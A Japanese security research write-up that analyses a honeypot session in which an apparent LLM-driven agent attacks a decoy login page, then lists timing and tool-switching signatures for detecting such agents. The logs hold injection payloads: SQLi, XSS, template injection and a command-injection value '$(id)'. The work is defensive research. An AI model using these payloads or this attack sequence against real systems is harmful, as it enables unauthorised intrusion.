実環境におけるAIレッドチーマーの捕捉：リバース・プロンプトインジェクションをハニーポット検知メカニズムとして活用する

検知のギャップ

現在の侵入検知システム（IDS）、Webアプリケーションファイアウォール（WAF）、ハニーポットプラットフォームは、人間の攻撃者またはシグネチャベースの自動化ツールのいずれかを検出するよう設計されています。推論し、適応し、複数のツールを同時に操作する攻撃者、すなわち新興クラスのLLM駆動型自律エージェントを識別する仕組みがありません。

所要時間：約16分 | リクエスト数：12 | ツール：Chrome UA、curl

エージェントは初期探索から開始します。最初にChrome風のユーザーエージェント（ブラウザ/フェッチツールを示唆）でインデックスページを取得し、その後curlに切り替えます。

08:47:42  Chrome  GET /                  ← 初期探索
08:49:12  curl    GET /                  ← シェルツールで再取得
08:56:14  curl    GET /                  ← 再分析
08:59:47  curl    GET /
08:59:49  curl    GET /login.php         ← HTMLコメントから/login.phpを発見
09:01:51  curl    GET /
09:01:55  curl    GET /login.php
09:02:10  curl    GET /
09:03:56  Chrome  GET /                  ← ブラウザツールで再確認
09:03:59  curl    GET /
09:04:03  curl    GET /login.php
09:04:03  curl    GET /index.html

重要な観察：リクエスト間の間隔（90秒、422秒、213秒、122秒、106秒）はLLMの「思考時間」と一致しています。エージェントはHTMLコンテンツについて推論し、次の行動を計画し、コマンドを生成しています。人間であればよりバラツキのあるタイミングを示し、従来のスキャナーではほぼゼロの遅延を示します。

所要時間：1秒 | リクエスト数：5 | ツール：curl

第1レイヤーのトラップが発動します。エージェントはHTMLコメントから認証情報を抽出し、同じ1秒以内に攻撃のバーストを開始します。

09:04:12  curl  POST /login.php  → username=admin&password=admin123
09:04:12  curl  POST /login.php  → username=admin' OR '1'='1&password=anything
09:04:12  curl  POST /login.php  → username=<script>alert('xss')</script>&password=test
09:04:12  curl  GET  /login.php?username=admin&username=test&password=admin123
09:04:13  curl  HEAD /login.php

重要な観察：エージェントは漏洩した認証情報と一般的なインジェクションペイロード（SQLi、XSS、パラメータ汚染）を同時に試みています。ゼロデルタのタイミングは、これらのコマンドがLLMによってバッチとして生成され並列実行されたことを示しており、人間には不可能で、通常ワードリストから順次実行する従来のツールとも異なる特性です。

所要時間：1秒 | リクエスト数：5 | ツール：curl

最初のバーストで認証が成功しなかったため、エージェントは高度なSQLiバリアントにエスカレートします。

09:04:28  curl  POST /login.php  → username=admin' --&password=anything
09:04:28  curl  POST /login.php  → username=admin' OR 1=1 --&password=anything
09:04:28  curl  POST /login.php  → username=admin' UNION SELECT 1,2,3 --&password=anything
09:04:28  curl  POST /login.php  → username=root&password=ds2fs5dfsdfasasdfsadfasfa3sfawrrf
09:04:28  curl  POST /login.php  → username=admin' AND SLEEP(5) --&password=anything

重要な観察：基本的なSQLi（OR 1=1）からUNION SELECT、ブラインドSQLi（SLEEP(5)）への進行は、コンテキスト的なペイロード生成を示しています。sqlmapのような従来のツールはペイロードデータベースから事前に決定されたシーケンスを使用します。ここでは、ペイロードがSQLインジェクション技術について推論することで生成されているように見えます。rootとランダムパスワードでの試みも含まれており、代替戦略として認証情報のブルートフォースが示唆されています。

所要時間：27秒 | リクエスト数：22 | ツール：curl + Python

このフェーズでは、AIエージェントの行動の最も説得力のある証拠が明らかになります。エージェントは2つのサブフェーズを実行します。

4a. 完全なHTTPメソッド列挙（curl）：

09:05:27  curl  POST    /login.php  → username=admin&password=admin
09:05:27  curl  GET     /login.php  → username=admin&password=admin
09:05:27  curl  PUT     /login.php  → username=admin&password=admin
09:05:27  curl  DELETE  /login.php  → username=admin&password=admin
09:05:27  curl  OPTIONS /login.php  → username=admin&password=admin
09:05:27  curl  TRACE   /login.php  → username=admin&password=admin

同じペイロードで6つの異なるHTTPメソッドを同じ1秒以内に実行しています。これはLLMが生成した系統的な列挙です。

4b. Pythonへのツール切り替え（Python-urllib/3.11）：

09:05:33  Python  GET /
09:05:33  Python  GET /index.html
09:05:33  Python  GET /login.php
09:05:33  Python  GET /admin.html
09:05:45  Python  GET /login.php?xss=<script>alert(1)</script>
09:05:45  Python  GET /login.php?sqli=' OR 1=1-- -
09:05:45  Python  GET /login.php?ssti={{7*7}}
09:05:45  Python  GET /login.php?cmd=$(id)
09:05:45  Python  POST /login.php → username=admin&password=' OR 1=1-- -

重要な観察：エージェントは構造化された脆弱性スキャンを実行するPythonスクリプトを記述・実行しました。パラメータ名（xss、sqli、ssti、cmd）はLLMが生成した意味的なラベルであり、いかなるスキャナーのデフォルト設定にも由来しません。SQLiとXSSと並んでサーバーサイドテンプレートインジェクション（{{7*7}}）とコマンドインジェクション（$(id)）が含まれていることは、エージェントが複数の脆弱性クラスについて推論していることを示しています。

所要時間：30秒 | リクエスト数：8 | ツール：Python、curl

エージェントは最終的な列挙ラウンドを実行し、漏洩した認証情報を再試行します。

09:05:51  Python  GET /login.php
09:05:51  Python  GET /admin.html
09:05:57  curl    GET /
09:05:57  curl    GET /index.html
09:05:57  curl    GET /login.php
09:05:57  curl    GET /admin.html
09:06:13  curl    GET /login.php
09:06:21  curl    POST /login.php → username=admin&password=admin123

重要な観察：セッションは最初に漏洩した認証情報の最終的な再試行で終了します。他の技術を使い果たした後、エージェントは最初のアプローチを検証するために戻ってきています。

• マルチツール切り替え：同一送信元IPからの単一セッション内における異なるユーザーエージェント（curl、Python、ブラウザ）間の交替。異なるサブタスクに異なるツールを使用するLLMエージェントを示します。
• 意味的抽出：HTMLコメント、JavaScriptコメント、またはメタデータに埋め込まれた、自然言語理解を必要とする情報の使用。特に、意味的な理解なしには機械的にパースできない認証情報、パス、設定の詳細が該当します。
• 適応型バーストパターン：コンテキスト的に生成されたペイロード（静的ワードリストからではない）を持つほぼゼロ時間デルタのリクエストのクラスター。LLM推論時間と一致する長い停止が後に続きます。
• 戦略ピボット：セッション中盤での攻撃手法の観測可能な変化（例：手動curlコマンドから生成されたPythonスクリプトへの切り替え）。エージェントが結果を評価して適応する推論ループを示します。
• 時間的シグネチャ：特徴的な「のこぎり波」タイミングパターン。10〜120秒の間隔（LLM推論/計画）に続くサブ秒バースト（バッチコマンド実行）。このパターンは人間のインタラクション（変動する、より長い間隔）と従来のスキャナー（一定レート）の両方とは明確に異なります。